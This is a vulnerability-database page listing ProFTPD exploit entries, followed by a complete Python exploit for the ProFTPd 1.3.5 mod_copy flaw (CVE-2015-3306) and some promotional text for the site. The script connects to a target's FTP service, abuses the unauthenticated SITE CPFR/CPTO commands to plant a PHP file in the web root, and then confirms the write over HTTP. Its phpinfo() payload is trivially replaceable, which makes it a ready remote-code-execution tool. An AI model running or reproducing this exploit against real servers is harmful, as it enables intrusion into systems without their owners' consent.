| Reporter | Title | Published | Views | Family All 65 |
|---|---|---|---|---|
| Exploit for Improper Access Control in Proftpd | 2 Nov 202520:36 | – | githubexploit | |
| Exploit for CVE-1999-0368 | 17 Feb 202615:41 | – | githubexploit | |
| Exploit for Improper Access Control in Proftpd | 3 Jun 202613:18 | – | githubexploit | |
| Exploit for Improper Access Control in Proftpd | 8 Jan 201714:19 | – | githubexploit | |
| ProFTPd 1.3.5 - Remote Command Execution Exploit | 21 Apr 201500:00 | – | zdt | |
| ProFTPD 1.3.5 Mod_Copy Command Execution Exploit | 10 Jun 201500:00 | – | zdt | |
| The vulnerability of the FTP server ProFTPD, which allows a remote intruder to gain access to protected information | 5 Jun 201500:00 | – | bdu_fstec | |
| CVE-2015-3306 | 13 Apr 201500:00 | – | circl | |
| ProFTPd (mod_copy) Remote Command Execution Vulnerability | 24 Apr 201500:00 | – | cnvd | |
| ProFTPD mod_copy Unauthenticated Remote File Copying (CVE-2015-3306) | 29 Apr 201500:00 | – | checkpoint_advisories |
# Exploit Title: ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)
# Exploit Author: Shellbr3ak
# Version: 1.3.5
# Tested on: Ubuntu 16.04.6 LTS
# CVE : CVE-2015-3306
#!/usr/bin/env python3
import sys
import socket
import requests
def exploit(client, target):
client.connect((target,21)) # Connecting to the target server
banner = client.recv(74)
print(banner.decode())
client.send(b'site cpfr /etc/passwd\r\n')
print(client.recv(1024).decode())
client.send(b'site cpto <?php phpinfo(); ?>\r\n') # phpinfo() is just a PoC.
print(client.recv(1024).decode())
client.send(b'site cpfr /proc/self/fd/3\r\n')
print(client.recv(1024).decode())
client.send(b'site cpto /var/www/html/test.php\r\n')
print(client.recv(1024).decode())
client.close()
print('Exploit Completed')
def check(url):
req = requests.get(url) # Requesting the written PoC php file via HTTP
if req.status_code == 200:
print('[+] File Written Successfully')
print(f'[+] Go to : {url}')
else:
print('[!] Something Went Wrong')
print('[!] Directory might not be writable')
def main():
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target = sys.argv[1]
exploit(client, target)
url = 'http://' + target + '/test.php'
check(url)
if __name__ == '__main__':
main()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation